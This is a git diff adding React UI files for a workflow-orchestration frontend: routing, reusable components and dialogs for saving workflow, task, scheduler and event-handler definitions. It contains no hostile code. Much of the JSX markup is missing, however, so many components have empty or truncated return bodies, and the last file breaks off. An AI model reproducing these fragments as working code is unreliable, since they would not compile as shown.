+import SchedulerDefinition from "./pages/definition/SchedulerDefinition"; +import SchedulerExecutions from "./pages/executions/SchedulerExecutions"; +import TaskQueue from "./pages/misc/TaskQueue"; +import KitchenSink from "./pages/kitchensink/KitchenSink"; +import DiagramTest from "./pages/kitchensink/DiagramTest"; +import Examples from "./pages/kitchensink/Examples"; +import Gantt from "./pages/kitchensink/Gantt"; + +import CustomRoutes from "./plugins/CustomRoutes"; +import AppBarModules from "./plugins/AppBarModules"; +import CustomAppBarButtons from "./plugins/CustomAppBarButtons"; + +import Workbench from "./pages/workbench/Workbench"; +import { getBasename } from "./utils/helpers"; + +// Feature flag for errors inspector +const ERRORS_INSPECTOR_ENABLED = + process.env.REACT_APP_ENABLE_ERRORS_INSPECTOR === "true"; + +// Import ErrorsInspector conditionally based on feature flag +const ErrorsInspector = ERRORS_INSPECTOR_ENABLED + ? React.lazy(() => import("./pages/errors/ErrorsInspector")) + : () => ; // Fallback to WorkflowSearch if disabled + +const useStyles = makeStyles((theme) => ({ + root: { + backgroundColor: "#efefef", // TODO: Use theme var + display: "flex", + }, + body: { + width: "100vw", + height: "100vh", + paddingTop: theme.overrides.MuiAppBar.root.height, + }, + toolbarRight: { + marginLeft: "auto", + display: "flex", + flexDirection: "row", + }, + toolbarRegular: { + minHeight: 80, + }, +})); + +export default function App() { + const classes = useStyles(); + + return ( + // Provide context for backward compatibility with class components +
      + + + + + {ERRORS_INSPECTOR_ENABLED && ( + + )} + + + + + + +
      + +
      +       +       +
      + Loading...
      }> + + + {ERRORS_INSPECTOR_ENABLED ? ( + + ) : ( + + )} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      +
      + ); +} + +if (process.env.REACT_APP_MONACO_EDITOR_USING_CDN === "false") { + // Change the source of the monaco files, see https://github.com/suren-atoyan/monaco-react/issues/168#issuecomment-762336713 + loader.config({ paths: { vs: getBasename() + "monaco-editor/min/vs" } }); +} diff --git a/ui/src/components/Banner.jsx b/ui/src/components/Banner.jsx new file mode 100644 index 0000000..e909c94 --- /dev/null +++ b/ui/src/components/Banner.jsx @@ -0,0 +1,28 @@ +import React from "react"; +import { Paper } from "@material-ui/core"; +import { makeStyles } from "@material-ui/styles"; + +const useStyles = makeStyles({ + root: { + padding: 15, + backgroundColor: "rgba(73, 105, 228, 0.1)", + color: "rgba(0, 0, 0, 0.9)", + borderLeft: "solid rgba(73, 105, 228, 0.1) 4px", + }, +}); + +export default function Banner({ children, ...rest }) { + const classes = useStyles(); + + return ( + + {children} + + ); +} diff --git a/ui/src/components/Button.jsx b/ui/src/components/Button.jsx new file mode 100644 index 0000000..3ad5b12 --- /dev/null +++ b/ui/src/components/Button.jsx @@ -0,0 +1,10 @@ +import { Button as MuiButton } from "@material-ui/core"; + +export default function Button({ variant = "primary", ...props }) { + if (variant === "secondary") { + return ; + } else { + // primary or invalid + return ; + } +} diff --git a/ui/src/components/ButtonGroup.jsx b/ui/src/components/ButtonGroup.jsx new file mode 100644 index 0000000..2dce990 --- /dev/null +++ b/ui/src/components/ButtonGroup.jsx @@ -0,0 +1,22 @@ +import React from "react"; +import { + FormControl, + InputLabel, + ButtonGroup, + Button, +} from "@material-ui/core"; + +export default function ({ options, label, style, classes, ...props }) { + return ( + + {label && {label}} + + {options.map((option, idx) => ( + + ))} + + + ); +} diff --git a/ui/src/components/ConfirmChoiceDialog.jsx b/ui/src/components/ConfirmChoiceDialog.jsx new file mode 100644 index 0000000..0bc8a6f --- /dev/null +++ b/ui/src/components/ConfirmChoiceDialog.jsx @@ -0,0 +1,39 @@ +import React from "react"; +import { + Dialog, + DialogActions, + DialogContent, + DialogTitle, +} from "@material-ui/core"; +import Text from "./Text"; +import Button from "./Button"; + +export default function ({ + header = "Confirmation", + message = "Please confirm", + handleConfirmationValue, + open, +}) { + return ( + handleConfirmationValue(false)} + > + {header} + + {message} + + + + + + + ); +} diff --git a/ui/src/components/CustomButtons.jsx b/ui/src/components/CustomButtons.jsx new file mode 100644 index 0000000..1e62376 --- /dev/null +++ b/ui/src/components/CustomButtons.jsx @@ -0,0 +1,109 @@ +import Button from "@material-ui/core/Button"; +import { styled } from "@material-ui/core"; + +export const fontFamilyList = [ + "-apple-system", + "BlinkMacSystemFont", + '"Segoe UI"', + "Roboto", + '"Helvetica Neue"', + "Arial", + "sans-serif", + '"Apple Color Emoji"', + '"Segoe UI Emoji"', + '"Segoe UI Symbol"', +].join(","); + +const hoverCss = { + backgroundColor: "#857aff", + borderColor: "#857aff", + boxShadow: "none", + "&> .MuiButton-label": { + color: "white", + }, +}; + +const buttonBaseStyle = { + boxShadow: "none", + textTransform: "none", + fontSize: 16, + padding: "6px 12px", + border: "1px solid", + lineHeight: 1.3, + color: "#ffffff", + backgroundColor: "#6558F5", + borderColor: "#6558F5", + fontFamily: fontFamilyList, + "&:hover": hoverCss, + "&:active": hoverCss, + "&:focus": { + boxShadow: "0 0 0 0.2rem rgba(0,123,255,.5)", + }, + "&> .MuiButton-label": { + color: "#ffffff", + }, +}; + +export const BootstrapButton = styled(Button)(buttonBaseStyle); + +const outlineHoverCss = { + ...hoverCss, + "&> .MuiButton-label": { + color: "ghostwhite", + }, +}; + +const actionHoverCss = { + ...hoverCss, + backgroundColor: "#30499f", + borderColor: "#30499f", +}; + +export const BootstrapOutlineButton = styled(Button)({ + ...buttonBaseStyle, + color: "#ffffff", + backgroundColor: "ghostwhite", + borderColor: "#6558F5", + "&> .MuiButton-label": { + color: "#6558F5", + }, + "&:hover": outlineHoverCss, + "&:active": outlineHoverCss, +}); + +export const BootstrapOutlineActionButton = styled(Button)({ + ...buttonBaseStyle, + color: "#ffffff", + backgroundColor: "ghostwhite", + borderColor: "#30499f", + "&> .MuiButton-label": { + color: "#30499f", + }, + "&:hover": actionHoverCss, + "&:active": actionHoverCss, +}); + +export const BootstrapTextButton = styled(Button)({ + ...buttonBaseStyle, + color: "#ffffff", + backgroundColor: "ghostwhite", + borderColor: "transparent", + "&> .MuiButton-label": { + color: "#6558F5", + }, + "&:hover": outlineHoverCss, + "&:active": outlineHoverCss, +}); + +export const BootstrapActionButton = styled(Button)({ + ...buttonBaseStyle, + fontSize: 14, + lineHeight: 1.5, + backgroundColor: "#4969e4", + borderColor: "#4969e4", + "&> .MuiButton-label": { + color: "#ffffff", + }, + "&:hover": actionHoverCss, + "&:active": actionHoverCss, +}); diff --git a/ui/src/components/DataTable.jsx b/ui/src/components/DataTable.jsx new file mode 100644 index 0000000..3334497 --- /dev/null +++ b/ui/src/components/DataTable.jsx @@ -0,0 +1,351 @@ +import React, { useMemo, useState } from "react"; +import RawDataTable from "react-data-table-component"; +import { + Checkbox, + MenuItem, + ListItemText, + IconButton, + Menu, + Tooltip, + Popover, +} from "@material-ui/core"; +import ViewColumnIcon from "@material-ui/icons/ViewColumn"; +import SearchIcon from "@material-ui/icons/Search"; +import { Heading, Select, Input } from "./"; +import { timestampRenderer, timestampMsRenderer } from "../utils/helpers"; +import { useLocalStorage } from "../utils/localstorage"; + +import _ from "lodash"; +export const DEFAULT_ROWS_PER_PAGE = 15; + +export default function DataTable(props) { + const { + localStorageKey, + columns, + data, + options, + defaultShowColumns, + paginationPerPage = 15, + showFilter = true, + showColumnSelector = true, + paginationServer = false, + title, + onFilterChange, + initialFilterObj, + ...rest + } = props; + + const DEFAULT_FILTER_OBJ = { + columnName: columns.find((col) => col.searchable !== false).name, + substring: "", + }; + + // If no defaultColumns passed - use all columns + const defaultColumns = useMemo( + () => + props.defaultShowColumns || props.columns.map((col) => getColumnId(col)), + [props.defaultShowColumns, props.columns] + ); + + const [tableState, setTableState] = useLocalStorage( + localStorageKey, + defaultColumns + ); + + const [filterObj, setFilterObj] = useState( + initialFilterObj || DEFAULT_FILTER_OBJ + ); + + const handleFilterChange = (val) => { + setFilterObj(val); + if (onFilterChange) { + if (!_.isEmpty(val.substring)) { + onFilterChange(val); + } else { + onFilterChange(undefined); + } + } + }; + + // Append bodyRenderer for date fields; + const dataTableColumns = useMemo(() => { + let viewColumns = []; + if (tableState) { + for (let col of columns) { + if (tableState.includes(getColumnId(col))) { + viewColumns.push(col); + } + } + } else { + viewColumns = columns; + } + + return viewColumns.map((column) => { + let { + id, + name, + label, + type, + renderer, + wrap = true, + sortable = true, + ...rest + } = column; + + const internalOptions = {}; + if (type === "date") { + internalOptions.format = (row) => timestampRenderer(_.get(row, name)); + } else if (type === "date-ms") { + internalOptions.format = (row) => timestampMsRenderer(_.get(row, name)); + } else if (type === "json") { + internalOptions.format = (row) => JSON.stringify(_.get(row, name)); + } + + if (renderer) { + internalOptions.format = (row) => renderer(_.get(row, name), row); + } + + return { + id: getColumnId(column), + selector: name, + name: getColumnLabel(column), + sortable: sortable, + wrap: wrap, + type, + ...internalOptions, + ...rest, + }; + }); + }, [tableState, columns]); + + const filteredItems = useMemo(() => { + const column = dataTableColumns.find( + (col) => col.id === filterObj.columnName + ); + + if (!filterObj.substring || !filterObj.columnName) { + return data; + } else { + try { + const regexp = new RegExp(filterObj.substring, "i"); + + return data.filter((row) => { + let target; + if ( + column.type === "json" || + column.type === "date" || + column.type === "date-ms" || + column.searchable === "calculated" + ) { + target = column.format(row); + + if (!_.isString(target)) { + target = JSON.stringify(target); + } + } else { + target = _.get(row, column.selector); + } + + return _.isString(target) && regexp.test(target); + }); + } catch (e) { + // Bad or incomplete Regexp + console.log(e); + return []; + } + } + }, [data, dataTableColumns, filterObj]); + + return ( + {title}} + columns={dataTableColumns} + data={filteredItems} + pagination + paginationServer={paginationServer} + paginationPerPage={paginationPerPage} + paginationRowsPerPageOptions={[15, 30, 100, 1000]} + actions={ + <> + {!paginationServer && showFilter && ( + + )} + {showColumnSelector && ( + + )} + + } + {...rest} + /> + ); +} + +function Filter({ columns, filterObj, setFilterObj }) { + const [anchorEl, setAnchorEl] = React.useState(null); + + const handleClick = (event) => { + setAnchorEl(event.currentTarget); + }; + + const handleClose = () => { + setAnchorEl(null); + }; + + const handleValueChange = (v) => { + setFilterObj({ + columnName: filterObj.columnName, + substring: v, + }); + }; + + const handleColumnChange = (c) => { + setFilterObj({ + columnName: c, + substring: "", + }); + }; + + return ( + <> + + + + + + + + + + + ); +} + +function getColumnLabelById(columnId, columns) { + const col = columns.find((c) => c.id === columnId || c.name === columnId); + return col.label || col.name; +} + +function getColumnLabel(col) { + return col.label || col.name; +} + +function getColumnId(col) { + return col.id || col.name; +} + +function ColumnsSelector({ columns, selected, setSelected, defaultColumns }) { + const [anchorEl, setAnchorEl] = React.useState(null); + + const handleClick = (event) => { + setAnchorEl(event.currentTarget); + }; + + const handleClose = () => { + setAnchorEl(null); + }; + + const handleChange = (columnId, checked) => { + if (!checked && selected.includes(columnId)) { + setSelected(selected.filter((v) => v !== columnId)); + } else { + setSelected([...selected, columnId]); + } + }; + + const reset = () => { + setSelected(defaultColumns); + }; + return ( + <> + + + + + + + {[ + ...columns.map((column) => ( + + + handleChange(getColumnId(column), e.target.checked) + } + /> + + + )), + + Reset to default + , + ]} + + + ); +} diff --git a/ui/src/components/DateRangePicker.jsx b/ui/src/components/DateRangePicker.jsx new file mode 100644 index 0000000..b9cbfa0 --- /dev/null +++ b/ui/src/components/DateRangePicker.jsx @@ -0,0 +1,52 @@ +import React from "react"; +import { Input } from "./"; +import { makeStyles } from "@material-ui/styles"; + +const useStyles = makeStyles({ + wrapper: { + display: "flex", + }, + input: { + marginRight: 5, + flex: "0 1 50%", + }, + quick: { + flex: "0 0 auto", + }, +}); + +export default function DateRangePicker({ + onFromChange, + from, + onToChange, + to, + label, + disabled, +}) { + const classes = useStyles(); + + return ( +
      + + +
      + ); +} diff --git a/ui/src/components/Dropdown.jsx b/ui/src/components/Dropdown.jsx new file mode 100644 index 0000000..ab44548 --- /dev/null +++ b/ui/src/components/Dropdown.jsx @@ -0,0 +1,52 @@ +import React from "react"; +import { Input } from "./"; +import Autocomplete from "@material-ui/lab/Autocomplete"; +import FormControl from "@material-ui/core/FormControl"; +import InputLabel from "@material-ui/core/InputLabel"; +import CloseIcon from "@material-ui/icons/Close"; +import { InputAdornment, CircularProgress } from "@material-ui/core"; + +export default function ({ + label, + className, + style, + error, + helperText, + name, + value, + placeholder, + loading, + disabled, + ...props +}) { + return ( + + {label && {label}} + } + renderInput={({ InputProps, ...params }) => ( + + + + ), + }), + }} + placeholder={loading ? "Loading Options" : placeholder} + name={name} + error={!!error} + helperText={helperText} + /> + )} + value={value === undefined ? null : value} // convert undefined to null + /> + + ); +} diff --git a/ui/src/components/DropdownButton.jsx b/ui/src/components/DropdownButton.jsx new file mode 100644 index 0000000..cf54cc9 --- /dev/null +++ b/ui/src/components/DropdownButton.jsx @@ -0,0 +1,65 @@ +import React from "react"; +import Button from "@material-ui/core/Button"; +import ArrowDropDownIcon from "@material-ui/icons/ArrowDropDown"; +import { + ClickAwayListener, + Popper, + MenuItem, + MenuList, +} from "@material-ui/core"; +import { Paper } from "./"; + +export default function DropdownButton({ children, options }) { + const [open, setOpen] = React.useState(false); + const anchorRef = React.useRef(null); + + const handleToggle = () => { + setOpen((prevOpen) => !prevOpen); + }; + + const handleClose = (event) => { + if (anchorRef.current && anchorRef.current.contains(event.target)) { + return; + } + + setOpen(false); + }; + + return ( + + + + + + + + {options.map(({ label, handler }, index) => ( + { + handler(event, index); + setOpen(false); + }} + > + {label} + + ))} + + + + + + ); +} diff --git a/ui/src/components/Heading.jsx b/ui/src/components/Heading.jsx new file mode 100644 index 0000000..9ecb215 --- /dev/null +++ b/ui/src/components/Heading.jsx @@ -0,0 +1,8 @@ +import React from "react"; +import Typography from "@material-ui/core/Typography"; + +const levelMap = ["h6", "h5", "h4", "h3", "h2", "h1"]; + +export default function ({ level = 3, ...props }) { + return ; +} diff --git a/ui/src/components/Input.jsx b/ui/src/components/Input.jsx new file mode 100644 index 0000000..174da37 --- /dev/null +++ b/ui/src/components/Input.jsx @@ -0,0 +1,47 @@ +import React, { useRef } from "react"; +import { TextField, InputAdornment, IconButton } from "@material-ui/core"; +import ClearIcon from "@material-ui/icons/Clear"; + +export default function (props) { + const { label, clearable, onBlur, onChange, InputProps, ...rest } = props; + const inputRef = useRef(); + + function handleClear() { + inputRef.current.value = ""; + if (onBlur) return onBlur(""); + if (onChange) return onChange(""); + } + + function handleBlur(e) { + if (onBlur) onBlur(e.target.value); + } + + function handleChange(e) { + if (onChange) onChange(e.target.value); + } + + return ( + + + + + + ), + } + } + onBlur={handleBlur} + onChange={handleChange} + {...rest} + /> + ); +} diff --git a/ui/src/components/KeyValueTable.jsx b/ui/src/components/KeyValueTable.jsx new file mode 100644 index 0000000..d8ea291 --- /dev/null +++ b/ui/src/components/KeyValueTable.jsx @@ -0,0 +1,90 @@ +import React from "react"; +import { makeStyles } from "@material-ui/styles"; +import { List, ListItem, ListItemText, Tooltip } from "@material-ui/core"; +import _ from "lodash"; + +import { useEnv } from "../plugins/env"; +import { + timestampRenderer, + timestampMsRenderer, + durationRenderer, +} from "../utils/helpers"; +import { customTypeRenderers } from "../plugins/customTypeRenderers"; + +const useStyles = makeStyles((theme) => ({ + value: { + flex: 0.7, + }, + label: { + flex: 0.3, + minWidth: "100px", + }, + labelText: { + fontWeight: "bold !important", + }, +})); + +export default function KeyValueTable({ data }) { + const classes = useStyles(); + const env = useEnv(); + return ( + + {data.map((item, index) => { + let tooltipText = ""; + let displayValue; + const renderer = item.type ? customTypeRenderers[item.type] : null; + if (renderer) { + displayValue = renderer(item.value, data, env); + } else { + switch (item.type) { + case "date": + displayValue = + !isNaN(item.value) && item.value > 0 + ? timestampRenderer(item.value) + : "N/A"; + tooltipText = new Date(item.value).toISOString(); + break; + case "date-ms": + displayValue = + !isNaN(item.value) && item.value > 0 + ? timestampMsRenderer(item.value) + : "N/A"; + tooltipText = new Date(item.value).toISOString(); + break; + case "duration": + displayValue = + !isNaN(item.value) && item.value > 0 + ? durationRenderer(item.value) + : "N/A"; + break; + default: + displayValue = !_.isNil(item.value) ? item.value : "N/A"; + } + } + + return ( + + + + + {displayValue} + + } + /> + + ); + })} + + ); +} diff --git a/ui/src/components/LinearProgress.jsx b/ui/src/components/LinearProgress.jsx new file mode 100644 index 0000000..b53d4cd --- /dev/null +++ b/ui/src/components/LinearProgress.jsx @@ -0,0 +1,22 @@ +import React from "react"; +import { makeStyles } from "@material-ui/styles"; +import clsx from "clsx"; +import LinearProgress from "@material-ui/core/LinearProgress"; + +const useStyles = makeStyles({ + progress: { + marginBottom: -4, + zIndex: 999, + }, +}); + +export default function ({ className, ...props }) { + const classes = useStyles(); + + return ( + + ); +} diff --git a/ui/src/components/NavLink.jsx b/ui/src/components/NavLink.jsx new file mode 100644 index 0000000..4b14595 --- /dev/null +++ b/ui/src/components/NavLink.jsx @@ -0,0 +1,55 @@ +import React from "react"; +import { Link as RouterLink, useHistory } from "react-router-dom"; +import { Link } from "@material-ui/core"; +import LaunchIcon from "@material-ui/icons/Launch"; +import Url from "url-parse"; +import { useEnv } from "../plugins/env"; +import { getBasename } from "../utils/helpers"; +import { cleanDuplicateSlash } from "../plugins/fetch"; + +// 1. Strip `navigate` from props to prevent error +// 2. Preserve stack param + +export default React.forwardRef((props, ref) => { + const { navigate, path, newTab, absolutePath = false, ...rest } = props; + const { stack, defaultStack } = useEnv(); + + const url = new Url(path, {}, true); + if (stack !== defaultStack) { + url.query.stack = stack; + } + + if (!newTab) { + return ( + + {rest.children} + + ); + } else { + // Note: + '/' + is required here + const href = absolutePath + ? url.toString() + : cleanDuplicateSlash(getBasename() + "/" + url.toString()); + return ( + + {rest.children} +   + + + ); + } +}); + +export function usePushHistory() { + const history = useHistory(); + const { stack, defaultStack } = useEnv(); + + return (path) => { + const url = new Url(path, {}, true); + if (stack !== defaultStack) { + url.query.stack = stack; + } + + history.push(url.toString()); + }; +} diff --git a/ui/src/components/Paper.jsx b/ui/src/components/Paper.jsx new file mode 100644 index 0000000..76c0cec --- /dev/null +++ b/ui/src/components/Paper.jsx @@ -0,0 +1,27 @@ +import React from "react"; +import { makeStyles } from "@material-ui/styles"; +import clsx from "clsx"; +import Paper from "@material-ui/core/Paper"; + +const useStyles = makeStyles({ + padded: { + padding: 15, + }, +}); + +export default React.forwardRef(function ( + { elevation, className, padded, ...props }, + ref +) { + const classes = useStyles(); + const internalClassName = []; + if (padded) internalClassName.push(classes.padded); + return ( + + ); +}); diff --git a/ui/src/components/Pill.jsx b/ui/src/components/Pill.jsx new file mode 100644 index 0000000..757b382 --- /dev/null +++ b/ui/src/components/Pill.jsx @@ -0,0 +1,28 @@ +import { makeStyles } from "@material-ui/styles"; +import Chip from "@material-ui/core/Chip"; + +const COLORS = { + red: "rgb(229, 9, 20)", + yellow: "rgb(251, 164, 4)", + green: "rgb(65, 185, 87)", +}; + +const useStyles = makeStyles({ + pill: { + borderColor: (props) => COLORS[props.color], + color: (props) => COLORS[props.color], + }, +}); + +export default function Pill({ color, ...props }) { + const classes = useStyles({ color }); + + return ( + + ); +} diff --git a/ui/src/components/PrimaryButton.jsx b/ui/src/components/PrimaryButton.jsx new file mode 100644 index 0000000..07ae5a9 --- /dev/null +++ b/ui/src/components/PrimaryButton.jsx @@ -0,0 +1,6 @@ +import React from "react"; +import Button from "@material-ui/core/Button"; + +export default function (props) { + return + +
      + + + +
      + + ); +} diff --git a/ui/src/pages/definition/ResetConfirmationDialog.jsx b/ui/src/pages/definition/ResetConfirmationDialog.jsx new file mode 100644 index 0000000..9fc1a8f --- /dev/null +++ b/ui/src/pages/definition/ResetConfirmationDialog.jsx @@ -0,0 +1,31 @@ +import React from "react"; +import { + Dialog, + DialogActions, + DialogContent, + DialogTitle, +} from "@material-ui/core"; +import { Text, Button } from "../../components"; + +export default function ResetConfirmationDialog({ + onClose, + onConfirm, + version, +}) { + return ( + + Confirmation + + + You will lose all changes made in the editor. Are you sure to proceed? + + + + + + + + ); +} diff --git a/ui/src/pages/definition/SaveEventHandlerDialog.jsx b/ui/src/pages/definition/SaveEventHandlerDialog.jsx new file mode 100644 index 0000000..6e41c16 --- /dev/null +++ b/ui/src/pages/definition/SaveEventHandlerDialog.jsx @@ -0,0 +1,150 @@ +import { useEffect, useMemo, useRef, useState } from "react"; +import { Dialog, Snackbar, Toolbar } from "@material-ui/core"; +import Alert from "@material-ui/lab/Alert"; +import { Button, LinearProgress, Pill, Text } from "../../components"; +import { DiffEditor } from "@monaco-editor/react"; +import { makeStyles } from "@material-ui/styles"; +import _ from "lodash"; +import { + useEventHandlerNames, + useSaveEventHandler, +} from "../../data/eventHandler"; + +const useStyles = makeStyles({ + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, + toolbar: { + paddingLeft: 20, + }, +}); + +const EVENT_HANDLER_SAVE_FAILED = + "Failed to save the event handler definition."; + +export default function SaveEventHandlerDialog({ + onSuccess, + onCancel, + document, +}) { + const classes = useStyles(); + const diffMonacoRef = useRef(null); + const [errorMsg, setErrorMsg] = useState(); + const eventHandlerNames = useEventHandlerNames(); + + const modified = useMemo(() => { + if (!eventHandlerNames || !document) return { text: "" }; + + const parsedModified = JSON.parse(document.modified); + const modifiedName = parsedModified.name; + const isNew = _.get(document, "originalObj.name") !== modifiedName; + + return { + text: document.modified, + obj: parsedModified, + isNew: isNew, + isClash: isNew && eventHandlerNames.includes(modifiedName), + }; + }, [document, eventHandlerNames]); + + const { isLoading, mutate: saveEventHandler } = useSaveEventHandler({ + onSuccess: (data) => { + console.log("onsuccess", data); + onSuccess(modified.obj.event, modified.obj.name); + }, + onError: (err) => { + console.log("onerror", err); + const errObj = JSON.parse(err); + let errStr = + errObj.validationErrors && errObj.validationErrors.length > 0 + ? `${errObj.validationErrors[0].message}: ${errObj.validationErrors[0].path}` + : errObj.message; + setErrorMsg({ + message: `${EVENT_HANDLER_SAVE_FAILED} ${errStr}`, + dismissible: true, + }); + }, + }); + + useEffect(() => { + if (modified.isClash) { + setErrorMsg({ + message: + "Cannot save event handler definition. Event handler name already in use.", + dismissible: false, + }); + } else { + setErrorMsg(undefined); + } + }, [modified]); + + const handleSave = () => { + saveEventHandler({ body: modified.obj, isNew: modified.isNew }); + }; + + const diffEditorDidMount = (editor) => { + diffMonacoRef.current = editor; + }; + + return ( + onCancel()}> + + setErrorMsg() : null} + > + {_.get(errorMsg, "message")} + + + + {isLoading && } + + + + Saving{" "} + + {_.get(modified, "obj.name")} + + + + {modified.isNew && } + +
      + + +
      +       + + {document && ( + + )} +       + ); +} diff --git a/ui/src/pages/definition/SaveSchedulerDialog.jsx b/ui/src/pages/definition/SaveSchedulerDialog.jsx new file mode 100644 index 0000000..bfcc636 --- /dev/null +++ b/ui/src/pages/definition/SaveSchedulerDialog.jsx @@ -0,0 +1,146 @@ +import { useEffect, useMemo, useRef, useState } from "react"; +import { Dialog, Snackbar, Toolbar } from "@material-ui/core"; +import Alert from "@material-ui/lab/Alert"; +import { Button, LinearProgress, Pill, Text } from "../../components"; +import { DiffEditor } from "@monaco-editor/react"; +import { makeStyles } from "@material-ui/styles"; +import _ from "lodash"; +import { useSaveScheduler } from "../../data/scheduler"; + +const useStyles = makeStyles({ + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, + toolbar: { + paddingLeft: 20, + }, +}); + +const SAVE_FAILED = "Failed to save the schedule definition."; + +export default function SaveSchedulerDialog({ onSuccess, onCancel, document }) { + const classes = useStyles(); + const diffMonacoRef = useRef(null); + const [errorMsg, setErrorMsg] = useState(); + + const modified = useMemo(() => { + if (!document) return { text: "" }; + + try { + const parsedModified = JSON.parse(document.modified); + const modifiedName = parsedModified.name; + const isNew = _.get(document, "originalObj.name") !== modifiedName; + + return { + text: document.modified, + obj: parsedModified, + isNew: isNew, + }; + } catch (e) { + return { text: document.modified, parseError: true }; + } + }, [document]); + + const { isLoading, mutate: saveScheduler } = useSaveScheduler({ + onSuccess: () => { + onSuccess(modified.obj.name); + }, + onError: (err) => { + let errStr; + try { + const errObj = JSON.parse(err); + errStr = + errObj.validationErrors && errObj.validationErrors.length > 0 + ? `${errObj.validationErrors[0].message}: ${errObj.validationErrors[0].path}` + : errObj.message; + } catch (e) { + errStr = err; + } + setErrorMsg({ + message: `${SAVE_FAILED} ${errStr}`, + dismissible: true, + }); + }, + }); + + useEffect(() => { + if (modified.parseError) { + setErrorMsg({ + message: "Invalid JSON. Please fix syntax errors before saving.", + dismissible: false, + }); + } else { + setErrorMsg(undefined); + } + }, [modified]); + + const handleSave = () => { + saveScheduler({ body: modified.obj }); + }; + + const diffEditorDidMount = (editor) => { + diffMonacoRef.current = editor; + }; + + return ( + onCancel()}> + + setErrorMsg() : null} + > + {_.get(errorMsg, "message")} + + + + {isLoading && } + + + + Saving{" "} + + {_.get(modified, "obj.name")} + + + + {modified.isNew && } + +
      + + +
      +       + + {document && ( + + )} +       + ); +} diff --git a/ui/src/pages/definition/SaveTaskDialog.jsx b/ui/src/pages/definition/SaveTaskDialog.jsx new file mode 100644 index 0000000..d79d964 --- /dev/null +++ b/ui/src/pages/definition/SaveTaskDialog.jsx @@ -0,0 +1,141 @@ +import { useRef, useState, useMemo, useEffect } from "react"; +import { Dialog, Toolbar, Snackbar } from "@material-ui/core"; +import Alert from "@material-ui/lab/Alert"; +import { Text, Button, LinearProgress, Pill } from "../../components"; +import { DiffEditor } from "@monaco-editor/react"; +import { makeStyles } from "@material-ui/styles"; +import { useSaveTask, useTaskNames } from "../../data/task"; +import _ from "lodash"; + +const useStyles = makeStyles({ + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, + toolbar: { + paddingLeft: 20, + }, +}); +//const WORKFLOW_SAVED_SUCCESSFULLY = "Workflow saved successfully."; +const TASK_SAVE_FAILED = "Failed to save the task definition."; + +export default function SaveTaskDialog({ onSuccess, onCancel, document }) { + const classes = useStyles(); + const diffMonacoRef = useRef(null); + const [errorMsg, setErrorMsg] = useState(); + const taskNames = useTaskNames(); + + const modified = useMemo(() => { + if (!taskNames || !document) return { text: "" }; + + const parsedModified = JSON.parse(document.modified); + const modifiedName = parsedModified.name; + const isNew = _.get(document, "originalObj.name") !== modifiedName; + + return { + text: document.modified, + obj: parsedModified, + isNew: isNew, + isClash: isNew && taskNames.includes(modifiedName), + }; + }, [document, taskNames]); + + const { isLoading, mutate: saveTask } = useSaveTask({ + onSuccess: (data) => { + console.log("onsuccess", data); + onSuccess(modified.obj.name); + }, + onError: (err) => { + console.log("onerror", err); + const errObj = JSON.parse(err); + let errStr = + errObj.validationErrors && errObj.validationErrors.length > 0 + ? `${errObj.validationErrors[0].message}: ${errObj.validationErrors[0].path}` + : errObj.message; + setErrorMsg({ + message: `${TASK_SAVE_FAILED} ${errStr}`, + dismissible: true, + }); + }, + }); + + useEffect(() => { + if (modified.isClash) { + setErrorMsg({ + message: "Cannot save task definition. Task name already in use.", + dismissible: false, + }); + } else { + setErrorMsg(undefined); + } + }, [modified]); + + const handleSave = () => { + saveTask({ body: modified.obj, isNew: modified.isNew }); + }; + + const diffEditorDidMount = (editor) => { + diffMonacoRef.current = editor; + }; + + return ( + onCancel()}> + + setErrorMsg() : null} + > + {_.get(errorMsg, "message")} + + + + {isLoading && } + + + + Saving{" "} + + {_.get(modified, "obj.name")} + + + + {modified.isNew && } + +
      + + +
      +       + + {document && ( + + )} +       + ); +} diff --git a/ui/src/pages/definition/SaveWorkflowDialog.jsx b/ui/src/pages/definition/SaveWorkflowDialog.jsx new file mode 100644 index 0000000..454d632 --- /dev/null +++ b/ui/src/pages/definition/SaveWorkflowDialog.jsx @@ -0,0 +1,182 @@ +import { useRef, useState, useMemo } from "react"; +import { + Dialog, + Toolbar, + FormControlLabel, + Checkbox, + Snackbar, +} from "@material-ui/core"; +import Alert from "@material-ui/lab/Alert"; +import { Text, Button, LinearProgress, Pill } from "../../components"; +import { DiffEditor } from "@monaco-editor/react"; +import { makeStyles } from "@material-ui/styles"; +import { + useSaveWorkflow, + useWorkflowNames, + useWorkflowVersions, +} from "../../data/workflow"; +import _ from "lodash"; +import { useEffect } from "react"; + +const useStyles = makeStyles({ + rightButtons: { + display: "flex", + flexGrow: 1, + justifyContent: "flex-end", + gap: 8, + }, + toolbar: { + paddingLeft: 20, + }, +}); +//const WORKFLOW_SAVED_SUCCESSFULLY = "Workflow saved successfully."; +const WORKFLOW_SAVE_FAILED = "Failed to save the workflow definition."; + +export default function SaveWorkflowDialog({ onSuccess, onCancel, document }) { + const classes = useStyles(); + const diffMonacoRef = useRef(null); + const [errorMsg, setErrorMsg] = useState(); + const [useAutoVersion, setUseAutoVersion] = useState(true); + const workflowNames = useWorkflowNames(); + + const parsedName = useMemo(() => { + if (!document) return null; + try { + return JSON.parse(document.modified).name; + } catch { + return null; + } + }, [document]); + + const { data: versions } = useWorkflowVersions(parsedName); + + const modified = useMemo(() => { + if (!document) return { text: "", obj: null }; + + const parsedModified = JSON.parse(document.modified); + const latestVersion = _.get(_.last(versions), "version", 0); + + if (useAutoVersion) { + parsedModified.version = _.isNumber(latestVersion) + ? latestVersion + 1 + : 1; + } + const isNew = _.get(document, "originalObj.name") !== parsedModified.name; + const isClash = isNew && workflowNames.includes(parsedModified.name); + + return { + text: JSON.stringify(parsedModified, null, 2), + obj: parsedModified, + isClash: isClash, + isNew: isNew, + }; + }, [document, useAutoVersion, versions, workflowNames]); + + useEffect(() => { + if (modified.isClash) { + setErrorMsg( + "Cannot save workflow definition. Workflow name already in use." + ); + } else { + setErrorMsg(undefined); + } + }, [modified]); + + const { isLoading, mutate: saveWorkflow } = useSaveWorkflow({ + onSuccess: (data) => { + console.log("onsuccess", data); + onSuccess(modified.obj.name, modified.obj.version); + }, + onError: (err) => { + console.log("onerror", 